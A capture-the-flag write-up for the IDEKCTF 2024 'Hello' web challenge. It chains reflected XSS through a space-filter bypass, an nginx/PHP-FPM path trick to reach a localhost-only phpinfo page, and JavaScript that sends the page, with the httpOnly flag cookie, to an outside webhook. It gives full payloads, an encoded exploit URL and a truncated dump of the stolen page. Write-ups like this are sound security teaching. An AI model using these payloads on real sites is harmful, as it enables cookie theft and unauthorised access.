Post

IDEKCTF 2024 Web Hello

The Story

So.. This weekend my friend , Alvin decided to pull me back into playing web ctf and knowing that i am quite washed , i decided to give it a go and the rest is history below.

TLDR

Reflected XSS -> CSRF -> Bypass Nginx Forbidden -> Steal admin Cookie through phpinfo

Challenge Descriptions

Name : Web/Hello Author : Abdelhameed Ghazy

Just to warm you up for the next Fight :”D

Note: the admin bot is not on the same machine as the challenge itself and the .chal.idek.team:1337 URL should be used for the admin bot URL

http://idek-hello.chal.idek.team:1337

Admin Bot https://admin-bot.idek.team/idek-hello

Downloads idek-hello.tar.gz https://idekctf-challenges.storage.googleapis.com/uploads/f64f1dd16fae27e943a8f7dab349e00509f39c63bb2278328ac5783d867fa393/idek-hello.tar.gz

nginx.config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    server {
        listen       80;
        server_name  localhost;

        location / {
            root   /usr/share/nginx/html;
            index  index.php index.html index.htm;
        }

        location = /info.php {
        allow 127.0.0.1;
        deny all;
        }

        location ~ \.php$ {
        root           /usr/share/nginx/html;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        include fastcgi_params;  
        fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
        }

    }
}

Notice that

  • The challenge is hosted on port 80
  • info.php can only be accessed from 127.0.0.1

bot.js

1
2
3
4
5
6
7
8
/*
    script revamped from corctf

    this does not match the remote setup exactly, which uses the redpwn admin bot
    this is just to facilitate local testing

    npm i puppeteer
*/

Here , it was noted that admin bot is setup differently remotely

1
2
3
4
5
6
7
const options = {
    CHALLENGE_ORIGIN: {
        type: "string",
        short: "c",
        default: "http://localhost:1337"
    }
};

The source code shows the bot is hosted on localhost:1337

1
await page.setCookie({ name: 'FLAG', value: 'idek{PLACEHOLDER}', httpOnly: true 

Flag is stored inside the cookie where httpOnly is enforced which Denies Any Javascript Access to The Cookie

Overall , it looks like this code will be run by the admin bot when we access https://admin-bot.idek.team/idek-hello

info.php

1
<?php phpinfo(); ?>

At first glance , looks like just simple phpinfo

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

function Enhanced_Trim($inp) {
    $trimmed = array("\r", "\n", "\t", "/", " ");
    return str_replace($trimmed, "", $inp);
}


if(isset($_GET['name']))
{
    $name=substr($_GET['name'],0,23);
    echo "Hello, ".Enhanced_Trim($_GET['name']);
}

?>
  1. Firstly the substr function check if the input ?name= we pass in longer than 24 characters.

    Unfortunately This checking does not work because the stored variable was not passed to the Enhanced_Trim function. Unless the code is modified as below

    1
    
    echo "Hello, ".Enhanced_Trim($name);
    
  2. Our input will be passed into Enhanced_Trim function to perform input validation and if we read the array , it is obviously space filtering that we need to bypass to perform injection

    1
    2
    3
    4
    
    ("\r", "\n", "\t", "/", " ");
    \r means CR
    \n means LF
    \t means Horizontal Tab
    

    All these spaces characters will get replaced with "" aka nothing https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#bypass-space-filter

Local Test Setup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#Check all active docker
sudo docker ps 

#Stop all running docker
sudo docker stop $(sudo docker ps -q)\n

#Build the image with provided Dockerfile
sudo docker build -t idek-hello .

#Build and Run a container using the created docker
docker run -p 4000:80 --name idek-hello-container idek-hello

#If debug is required
docker run -p 4000:80 --name idek-hello-container idek-hello /bin/bash 

#Remove all container
sudo docker rm -f $(sudo docker ps -a -q)

#Remove all images
sudo docker image remove -f $(sudo docker images -a -q)

#Force Option
-f

Once the docker was setup successfully , we can access port 4000 that links to port 80 (where the challenge is hosted)

What we understand so far

  1. We need to firstly bypass the space filter to perform xss and csrf to steal cookie
  2. Normal cookie stealing will not work because HttpsOnly is enabled on the admin bot cookie
  3. We need to find a way to steal cookie through info.php through localhost:1337
1
http://192.168.146.184:4000/index.php?name=<svg%0Conload=alert(1)>

One of the payload from payload of all things under bypass space filter works by appending %0C as space.

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#bypass-space-filter

Then we need to encode our csrf steal cookie payload to prevent any blacklist using ASCII encoding and execute the payload using eval(String.fromCharCode(ASCII-ENCODED-HERE)

Things that might prevent CSRF

  • Same-Origin Policy (SOP): Prevents javascript from reading the info from other domains

Browsers enforce the Same-Origin Policy, which prevents JavaScript from making requests to a different domain than the one that served the script. If the info.php page is on a different domain, the request will be blocked unless the server explicitly allows it through CORS (Cross-Origin Resource Sharing).

  • CORS Headers: Prevent us from going external website

If the server hosting info.php doesn’t include the necessary CORS headers to allow your request, the browser will block the request.

1
<svg%0Conload=eval(String.fromCharCode()>

Attempts to get the flag from locally was not possible because bot is not running on localhost:1337 but only on remote:1337

Update progress from chal creator

The admin bot is not on the same machine as the challenge itself and the .chal.idek.team:1337 URL should be used for the admin bot URL

  • This means that the admin bot is actually hosted on chal.idek.team:1337
    1
    2
    
    // bot.js theory code
    default: "http://localhost:1337" == default: "http://chal.idek.team:1337" 
    
  • Means by accessing info.php in chal.idek.team:1337 we can get that flag since httpsOnly cookies are also stored inside phpinfo

https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/ https://www.webhackingtips.com/weekly-tips/week-8-stealing-httponly-cookies-from-phpinfo https://security.stackexchange.com/questions/120025/using-phpinfo-to-get-httponly-cookies

  • Means the xss is also at chal.idek.team:1337

This means that we will need to ‘ask’ to admin bot to visit /info.php and retrieve that flag for us but the flag is only accessible from 127.0.0.1

1
2
3
4
5
6
7
 location = /info.php {
        allow 127.0.0.1;
        deny all;
        }

#Theory code
localhost != 127.0.0.1

Therefore we need to bypass this check , googling abit about nginx forbidden bypass

PHP-FPM

Googling around found it as Unsafe Path Restriction https://book.hacktricks.xyz/pentesting-web/proxy-waf-protections-bypass#php-fpm

Nginx FPM configuration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#Code pulled from hacktricks
location = /admin.php {
    deny all;
}

location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

# nginx conf
location = /info.php {
        allow 127.0.0.1;
        deny all;
        }

        location ~ \.php$ {
        root           /usr/share/nginx/html;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        include fastcgi_params;  
        fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
        }

Nginx is configured to block access to /admin.php but it’s possible to bypass this by accessing /admin.php/index.php.

Explaination

This is due to the fact nginx only check for exact path /admin.php , but not /admin.php/invalidfake.php , so it passes into PHP-FPM which then separate the file name into two part which is :

  • Script /admin.php to be executed
  • Path info invalidfake.php as additional info that is not executed

    Full final payload before encoding by ViceVirus

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    
    fetch('http://idek-hello.chal.idek.team:1337/info.php/info.php', {
      credentials: 'include',
      mode: 'no-cors'
    })
    .then(response => response.text())
    .then(data => {
      const uint8Array = new TextEncoder().encode(data);
      const base64String = btoa(String.fromCharCode(...uint8Array));
    
      fetch('https://wwebhook.here/', {
          method: 'POST',
          headers: { 'Content-Type': 'text/plain' },
          body: base64String,
          mode: 'no-cors'
      });
    });
    

Full final payload before encoding by Yang aka Alvin

1
2
3
4
5
6
7
8
9
10
11
12
fetch("/info.php/fakeinfo.php", { credentials: "include", method: "GET" })
  .then((response) => {
    return response.text();
  })
  .then(function (text) {
    fetch("webhookhere", {
      body: "content=" + encodeURIComponent(text),
      headers: { "Content-Type": "application/x-www-form-urlencoded" },
      method: "POST",
      mode: "no-cors",
    });
  });

Asking the admin bot to use nginx bypass to acess info.php and GET all html file content of the info.php and url encode it before POST it back to our webhook

  • Fetch: Sends a GET request to /info.php/fakeinfo.php.
  • First .then(): Waits for the response, converts the body to a string.
  • Second .then() : Receive the string and perform POST request to webhook

Solution

Js compressor https://jscompress.com/

Script to encode to ASCII

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function encode_to_javascript(string) {
            var input = string
            var output = '';
            for(pos = 0; pos < input.length; pos++) {
                output += input.charCodeAt(pos);
                if(pos != (input.length - 1)) {
                    output += ",";
                }
            }
            return output;
        }
        
let encoded = encode_to_javascript('fetch("/info.php/fakeinfo.php",{credentials:"include",method:"GET"}).then(e=>e.text()).then(function(e){fetch("webhook-url-here",{body:"content="+encodeURIComponent(e),headers:{"Content-Type":"application/x-www-form-urlencoded"},method:"POST",mode:"no-cors"})});')
console.log(encoded)

// Note : this script intended to be run from browser console tool

Paste the compressed code into the encode_to_javascript('compressed-code-here')

1
http://idek-hello.chal.idek.team:1337/index.php?name=<svg%0Conload=eval(String.fromCharCode(102,101,116,99,104,40,34,47,105,110,102,111,46,112,104,112,47,102,97,107,101,105,110,102,111,46,112,104,112,34,44,123,99,114,101,100,101,110,116,105,97,108,115,58,34,105,110,99,108,117,100,101,34,44,109,101,116,104,111,100,58,34,71,69,84,34,125,41,46,116,104,101,110,40,101,61,62,101,46,116,101,120,116,40,41,41,46,116,104,101,110,40,102,117,110,99,116,105,111,110,40,101,41,123,102,101,116,99,104,40,34,104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,98,54,56,97,57,99,51,51,45,49,100,56,50,45,52,98,49,100,45,57,102,100,57,45,98,55,52,54,48,48,49,55,48,101,49,53,47,34,44,123,98,111,100,121,58,34,99,111,110,116,101,110,116,61,34,43,101,110,99,111,100,101,85,82,73,67,111,109,112,111,110,101,110,116,40,101,41,44,104,101,97,100,101,114,115,58,123,34,67,111,110,116,101,110,116,45,84,121,112,101,34,58,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,125,44,109,101,116,104,111,100,58,34,80,79,83,84,34,44,109,111,100,101,58,34,110,111,45,99,111,114,115,34,125,41,125,41,59))>

Send this to the admin bot page that ask for url

Content of stolen urlencoded phpinfo

1
content=%3C!DOCTYPE%20html%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20XHTML%201.0%20Transitional%2F%2FEN%22%20%22DTD%2Fxhtml1-transitional.dtd%22%3E%0A%3Chtml%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml%22%3E%3Chead%3E%0A%3Cstyle%20type%3D%22text%2Fcss%22%3E%0Abody%20%7Bbackground-color%3A%20%23fff%3B%20color%3A%20%23222%3B%20font-family%3A%20sans-serif%3B%7D%0Apre%20%7Bmargin%3A%200%3B%20font-family%3A%20monospace%3B%7D%0Aa%3Alink%20%7Bcolor%3A%20%23009%3B%20text-decoration%3A%20none%3B%20background-color%3A%20%23fff%3B%7D%0Aa%3Ahover%20%7Btext-decoration%3A%20underline%3B%7D%0Atable%20%7Bborder-collapse%3A%20collapse%3B%20border%3A%200%3B%20width%3A%20934px%3B%20box-shadow%3A%201px%202px%203px%20rgba(0%2C%200%2C%200%2C%200.2)%3B%7D%0A.center%20%7Btext-align%3A%20center%3B%7D%0A.center%20table%20%7Bmargin%3A%201em%20auto%3B%20text-align%3A%20left%3B%7D%0A.center%20th%20%7Btext-align%3A%20center%20!important%3B%7D%0Atd%2C%20th%20%7Bborder%3A%201px%20solid%20%23666%3B%20font-size%3A%2075%25%3B%20vertical-align%3A%20baseline%3B%20padding%3A%204px%205px%3B%7D%0Ath%20%7Bposition%3A%20sticky%3B%20top%3A%200%3B%20background%3A%20inherit%3B%7D%0Ah1%20%7Bfont-size%3A%20150%25%3B%7D%0Ah2%20%7Bfont-size%3A%20125%25%3B%7D%0Ah2%20a%3Alink%2C%20h2%20a%3Avisited%7Bcolor%3A%20inherit%3B%20background%3A%20inherit%3B%7D%0A.p%20%7Btext-align%3A%20left%3B%7D%0A.e%20%7Bbackground-color%3A%20%23ccf%3B%20width%3A%20300px%3B%20font-weight%3A%20bold%3B%7D%0A.h%20%7Bbackground-color%3A%20%2399c%3B%20font-weight%3A%20bold%3B%7D%0A.v%20%7Bbackground-color%3A%20%23ddd%3B%20max-width%3A%20300px%3B%20overflow-x%3A%20auto%3B%20word-wrap%3A%20break-word%3B%7D%0A.v%20i%20%7Bcolor%3A%20%23999%3B%7D%0Aimg%20%7Bfloat%3A%20right%3B%20border%3A%200%3B%7D%0Ahr%20%7Bwidth%3A%20934px%3B%20background-color%3A%20%23ccc%3B%20border%3A%200%3B%20height%3A%201px%3B%7D%0A%3Aroot%20%7B--php-dark-grey%3A%20%23333%3B%20--php-dark-blue%3A%20%234F5B93%3B%20--php-medium-blue%3A%20%238892BF%3B%20--php-light-blue%3A%20%23E2E4EF%3B%20--php-accent-purple%3A%20%23793862%7D%40media%20(prefers-color-scheme%3A%20dark)%20%7B%0A%20%20body%20%7Bbackground%3A%20var(--php-dark-grey)%3B%20color%3A%20var(--php-light-blue)%7D%0A%20%20.h%20td%2C%20td.e%2C%20th%20%7Bborder-color%3A%20%23606A90%7D%0A%20%20td%20%7Bborder-color%3A%20%23505153%7D%0A%20%20.e%20%7Bbackground-color%3A%20%23404A77%7D%0A%20%20.h%20%7Bbackground-color%3A%20var(--php-dark-blue)%7D%0A%20%20.v%20%7Bbackground-color%3A%20var(--php-dark-grey)%7D%0A%20%20hr%20%7Bbackground-color%3A%20%23505153%7D%0A%7D%0A%3C%2Fstyle%3E%0A%3Ctitle%3EPHP%208.2.20%20-%20phpinfo()%3C%2Ftitle%3E%3Cmeta%20name%3D%22ROBOTS%22%20content%3D%22NOINDEX%2CNOFOLLOW%2CNOARCHIVE%22%20%2F%3E%3C%2Fhead%3E%0A%3Cbody%3E%3Cdiv%20class%3D%22center%22%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Ctd%3E%0A%3Ca%20href%3D%22http%3A%2F%2Fwww.php.net%2F%22%3E%3Cimg%20border%3D%220%22%20src%3D%22data%3Aimage%2Fpng%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAAHkAAABACAYAAAA%2Bj9gsAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAD4BJREFUeNrsnXtwXFUdx8%2FdBGihmE21QCrQDY6oZZykon%2FgY5qizjgM2KQMfzFAOioOA5KEh%2Bj4R9oZH7zT6MAMKrNphZFSQreKHRgZmspLHSCJ2Co6tBtJk7Zps7tJs5t95F5%2F33PvWU4293F29ybdlPzaM3df2XPv%2BZzf4%2FzOuWc1tkjl%2BT0HQ3SQC6SBSlD6WKN4rusGm9F1ps%2Fo5mPriOf8dd0YoNfi0nt4ntB1PT4zYwzQkf3kR9%2FsW4xtpS0CmE0SyPUFUJXFMIxZcM0jAZ4xrKMudQT7963HBF0n6EaUjkP0vI9K9OEHWqJLkNW1s8mC2WgVTwGAqWTafJzTWTKZmQuZ%2Fk1MpAi2%2Beys6mpWfVaAPzcILu8EVKoCAaYFtPxrAXo8qyNwzZc7gSgzgN9Hx0Ecn3j8xr4lyHOhNrlpaJIgptM5DjCdzrJ0Jmce6bWFkOpqs0MErA4gXIBuAmY53gFmOPCcdaTXCbq%2Bn16PPLXjewMfGcgEttECeouTpk5MplhyKsPBTiXNYyULtwIW7Cx1vlwuJyDLR9L0mQiVPb27fhA54yBbGttMpc1OWwF1cmKaH2FSF7vAjGezOZZJZ9j0dIZlMhnuRiToMO0c%2BN4X7oksasgEt9XS2KZCHzoem2Ixq5zpAuDTqTR14FMslZyepeEI4Ogj26n0vLj33uiigExgMWRpt%2BCGCsEePZqoePM738BPTaJzT7CpU0nu1yXpAXCC3VeRkCW4bfJYFZo6dmJyQTW2tvZc1nb719iyZWc5fmZ6Osu6H3uVzit52oBnMll2YizGxk8muFZLAshb%2FYKtzQdcaO3Y2CQ7eiy%2BYNGvLN%2B4%2BnJetm3bxhKJxJz316xZw1pbW9kLew%2Bw1944XBEaPj6eYCeOx1gqNe07bK1MwIDbKcOFOR49GuePT5fcfOMX2drPXcQ0zf7y2tvbWVdXF%2Fv1k2%2ByQ4dPVpQ5P0Um%2FNjoCX6UBMFZR6k%2Bu7qMYVBYDIEqBW7eXAfPZX19zp2%2FoaGBHysNMGTFinPZik9fWggbI5Omb13zUDeB3lLsdwaK%2FYPeyAFU0i8Aw9%2F2Dwyx4SPjFQEYUlf3MTYw4Jx7CIVCbHR0oqIDNMD%2BFMG%2BZE0dO%2FtsHlvAWnYS6H4qjfMC%2BZld%2Fwg92%2Ftuv2WeeYT87j%2BH2aFDxysGLuSy%2Bo%2Fz49DQkONnmpqa2MjRyoYsZOXKGnb5Z%2BvZqlUrxUsAvI9At%2FoK%2BelnBpoNw%2BDai9TekSMxDrgSh0KrSYshTprc2NhoRf1JtlikqirAVl98AddsSavDBDrsC%2BQdT7%2FTSoB344tzOZ39%2B70RbporVerqasyw1MEnC8iV6I9VTDi0uqbmfPFSq2W%2BgyUHXuEdb3WR5rab5jnD3i%2FBNMN8ChNaqsTiKa55KmBWX%2BTuj0XQdQVF307nhTH0CPls%2BO0UPbaT5TQG%2F8qX68u6LpV67LQ6dNknaYgaYyPDx2TzvYGCsnhRkH8b%2FrsF2GDj1MCInkvxvRjOuCUlipWD%2FzrKx7ZOwBF0vfSSM2ShyaqAAOC1Nw%2Bzt9%2F5YNbrN1zfwIdpfgnqebv%2FA6pnWAn4qlW1HPgHQ6OeoG3N9RO%2F%2BStMdDtmV2LxJPfBpQCGfwTgrVu38jFrKaW2tpZt2LCBdXR0sEgkwhv21u9cxQsyW3ZB1%2BDgoOM54btU6tu8eTPr6elhy5fr7IZNDey%2Be76e9%2FfCLcAllHpdKKinpaUlX8%2B111xB9VzNrYxqUAY%2FXVVVJYMOekLu2fFGM8VWYQRYiYkU9bD4vPlHFYnH4%2Fzvkb1CgwACHgMoUpdyw3sFXcXUh4YHaNSHDqaxdL5jwVTXBpeXVY9oF3RcUQ%2BO09NT7Cayfld%2B4RJlP42gTIq8w66Qf%2FX4a6FTSSMMDcaE%2FNhYecMM%2BMdyG90OAhodWoAGkTUaSZByO5WdiA4GqwStrrM6k5vFKEXQserr63l7oR5V0NBojKctaSZtbneErOtGmFxwkGewjk0UzpCUlJSIRqMcjN8CkHLDqyRByq0PEGBBhDmdj7rQVujAaLfrrlk7xyW5gUaxpEtOmOQDr0e799NYmDVBi0%2BOT7FcbsaXxEQk8qprEBQMBm0vVKUBRcNjskFE8W71lSt79uzhda1d6w4ZGTUUp3NWAQ3TvW%2FfPvbVq%2BrZH%2FceULOcF1%2FI06CY3QJohCCzNJnYdgEwwvpUKuNbUsLNpO3evZtfSGHp7%2B%2FnS2pw3LLFPVWLoA5yHQUtXvXFYjH%2BvU4F5yOibzsRUL38MTqC3XWh8GCWziMcDjt2BNEZUIfoUOpJkwvziT3S5ua8Jj%2F4yD5E0yERbPkhKv4RF4mhkN1wCMHN2rWfYZ2dnWz9%2BvXchNkJzBoaQ8Bxqg91wWo41YdO2dzczD%2B3bt06Rw0rBG4nOF8oi9M0Jsw9OgLqQ124BifLgeuHyVbN0NXUrODBmDWxgRR0pNrUYqMNgDOZGZbNzvgCuc4j0kX%2BGPJ2%2F%2FCcMagQmKkbrm%2FknwVEp%2B%2BSIXulM1%2Bnhj9AY207QRDnpsnye24WA59DkuPlV%2F5j%2Bz5eB2hE0W1tbTyQdNJmDpksRzFp2E9csFJAboRvDvz8gZdJgw2ek55KZphfAv%2BInu8UdKnmkEUHQK93EjEZ4Rbkifq8JiactEpYAy9Nli2Gm6CjIZPn1qlKFWizleOG3BIwdKNZ%2BKRMxr9VHKvr1NKLXo2BhlAVFRPq1qlWW6MBr3NWyY2rTGXO5ySJlN9uDuiGsV7XTVPtl8CHYGizf%2F9%2BV5Om0hAwVV4ahuU8qia03HP26kyqFkMOTudDzjs%2FP%2FQKBUiBYa5ZNucfZJUkCG%2F0IhpCxYyqBF3lnLOII8q1GKqdStQ3rTh5MStwXX5O%2FnE1metGQzPHUH6JatA1OppQ8u1eUbpX44tO4GY5vM5Z9sduFgOfG1GwUOK6VFzaSAmrWCSfzGCuuT%2FO%2Bbi6QwRdTtqXN2keJ4%2FejgkJ5HedRARkbkGe6ARulgMWQ%2BWc3cDAWohhoZdcue7ifJ7crfP6Me8dELd0Mv8U2begC2k9SHd3t%2BNnNm7cqKwRbiYUkykqvlZlmOYVLIq5bHRep46JzotOc9BhuFc0ZHGLph%2BCJIaXr1FZSIfxsdBiN1%2BLpALEK2By61Aqs0rwtV7DNBU3BMCYixYTLU6C8bM5hBwum0k1mesBpmPtlj%2BqXFenFsAgCVLon9DYeIxUnmh05HCdBIkCVRP6ussiepVZJZXIutCHwt2I0YGY2Kiz3AIyeG5aLNooVULQBbHy1%2FnAK2oEtEanheil%2BGO3aFg0FnwSilNC4q6OrXzywc0XCy1WMaFu%2FtgrCBLRuWpHuP%2Bn1zqmRXFN0GAnwKgHeW1E1C%2F86UDJHFKptATZMPZTafbLXHtN3OPixKRC4ev4GwB2Gy6JxhQNEYul%2BKoKp79RMaGqKzy9ovzt27c7pidVZtYAGJMYOP7u6bdK1mLI1GQ%2B%2FogSZBahwKuLO2jSZt0odw65xrUhAMNrZskLsGiIXz72F3bTjV%2BixvtbWcMQr3NWCbog5VyXAIy63PLrqpJITIqHkcD9P7suSiYbG53wvTLKDbr8WBbjZqIF4F3PD3ItRn1eQd5CBF3lCM5RAIYfVp0%2FdgZ8SvbJ2%2Fl8MmlvNw%2B8qJTjm%2BdrWQwaAXO9KMuWncc1GBMXKkGeV%2FpU5ZxFIsTvzovOCu3HvDnOE7NTu3rLr%2BPE8fy6%2BIEX9947YM4n%2F%2BLbPT%2F88R8QqoYAuVSDrZLFKcYso2AcLBIeGDPu6h3M%2ByqvIE%2F4Y6w4LdUfi%2Bjcr86L75KvC9%2BPcbVfd1hCi6U7Innwk1%2F%2BQ5rcoetsdyBg3s9aCmivBsNFifGfG9zCJUFiztmpEXAbqhMgr6SLWBPu9R1enRfm1ktrC6cVYWH%2B%2FMqg43x6sYK1edaCex7vkRZHZkF%2B6P6NkXvvi%2FTpLNBUaqTtdcsoLtIrVTcem2EHDh7m2uq0ikMINBvafOmazzt%2BBkGMW9CF70DndPsOaJqb38Y1oXjdCYHOiqwbPofrKid6thMAlnxxPtMy6w4K0ubNhq73U5wd5PtVleCTd%2B50D2CEafLloqixyv0ufMcOGq64CVaMYN2119gfAdPpuscKOxWgCMDwxfm0pvzBhx9siRLoFt3ca7Ikf%2Bx2yygaYzHdTSi7IT9y8fMJ2Lpdhg%2BZCPA2%2Bf05d1A88mBLHzQaoA1dL6ohVLJGi%2B1uQj8XQMyHIMgaGT6eDxuozMkD294LRaB7CPI27DLHQSskSFRvGa30O%2FzndF4fF0DMhwa%2F%2F9%2F%2FiZ2DcILqN7xBHn1oUweNn7eJ3WO9QHvdMlrMsphKEj8XQPgpuHVVMtGOgF0hC9CGTqbb2kHOzXx73aKiuiymEv2x22ICMYYeWSALBQ7RQ0fkoZIr4DnRtS3ohzf1dNzTG9d0PcwMLahZO8UyKTMm38wteratSVtkplq4oWj0PcfrEinPhYg14H%2BhvdIwCVs1bvb6O%2BUBMYFGl90d0LRGLRDgoHEUwYnXDniQStocTVUwfPLaKQGA%2FRoWOmkvtnsaG8unK%2BPWMKlH5e%2BLznp03N27RdO0TkxmYNZKszYBlyfI3RpjsQkmMOo8ls4Wsx1EKcEVAEvayyNoeRzsO2RI%2B93PNRLesGYtNpBhL4l%2FprlgZz5ob0mbtZVFhWC301d0EuQgAHPgS7D9hssTHKyMbRfLptF213NBDRuoaqxNA2yh2VUBDnxJ1M1yRW6gOgt2x64gqXK7ht1yOWyW1%2Bwl7bYXvhUygQXgit4KuVDuBGzSbA2bmmtayNzpRgJOGu7XosHFChZzvrGTiUKt5UMiVsmbmtsCb3%2B2lZmwm3hFNsA%2FCiYdKyfhYx3Aws8urp8nsJM72naGCG8zYwZMecjk%2FWHVVRbsMwU6tBVQsWJS2sNDlrgVTO0RE%2FvzKQtuN2%2B%2F85k5PxlUaL75D3BZwKss%2BJUqSFRAO%2FF7Eqlkmj%2B2gbrgYE8rZFluu%2BP3pOGsyWCG%2FY9%2FGR8exC%2BvYfc5flxgzRdDGsDEz%2F8AJsxwQcBUKPCtmKOMFJO8OKMgF8r3b3sKkAm69TN%2B2OZCAm5ID%2Fg9XPypwX29ufWgudq0urrKes%2F8nPkxgy1bdg6z%2For%2FSFc2mzV%2Fxs%2B6HwySTmdYJp2dpaWKEregYrVfn9%2FB0xkD2U6%2Be%2BsOaHqImTfLrycUOIZM1hJwC3oemPXbi%2Fy5PnsrJ136bUa8pxu69BklmANWwDRkgR1wmwVaglyi3Nz6JLQ%2BZG5NxQsgNdAhmIfJN7wxgoWg9fxzPQ%2Bc%2Fg9YAIXgeUKCyipJO4uR%2FwswAOIwB%2F5IgxvbAAAAAElFTkSuQmCC%22%20alt%3D%22PHP%20logo%22%20%2F%3E%3C%2Fa%3E%3Ch1%20class%3D%22p%22%3EPHP%20Version%208.2.20%3C%2Fh1%3E%0A%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESystem%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ELinux%20idek-hello-679dfd6d8f-z2zxj%206.1.85%2B%20%231%20SMP%20PREEMPT_DYNAMIC%20Thu%20Jun%2027%2021%3A05%3A47%20UTC%202024%20x86_64%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EBuild%20Date%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EJun%2017%202024%2013%3A33%3A14%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EBuild%20System%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ELinux%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EServer%20API%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EFPM%2FFastCGI%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EVirtual%20Directory%20Support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Edisabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EConfiguration%20File%20(php.ini)%20Path%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fetc%2Fphp%2F8.2%2Ffpm%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ELoaded%20Configuration%20File%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fetc%2Fphp%2F8.2%2Ffpm%2Fphp.ini%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EScan%20this%20dir%20for%20additional%20.ini%20files%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EAdditional%20.ini%20files%20parsed%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F10-opcache.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F10-pdo.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-calendar.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-ctype.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-exif.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-ffi.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-fileinfo.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-ftp.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-gettext.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-iconv.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-phar.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-posix.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-readline.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-shmop.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-sockets.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-sysvmsg.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-sysvsem.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-sysvshm.ini%2C%0A%2Fetc%2Fphp%2F8.2%2Ffpm%2Fconf.d%2F20-tokenizer.ini%0A%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPHP%20API%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E20220829%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPHP%20Extension%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E20220829%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EZend%20Extension%20%3C%2Ftd%3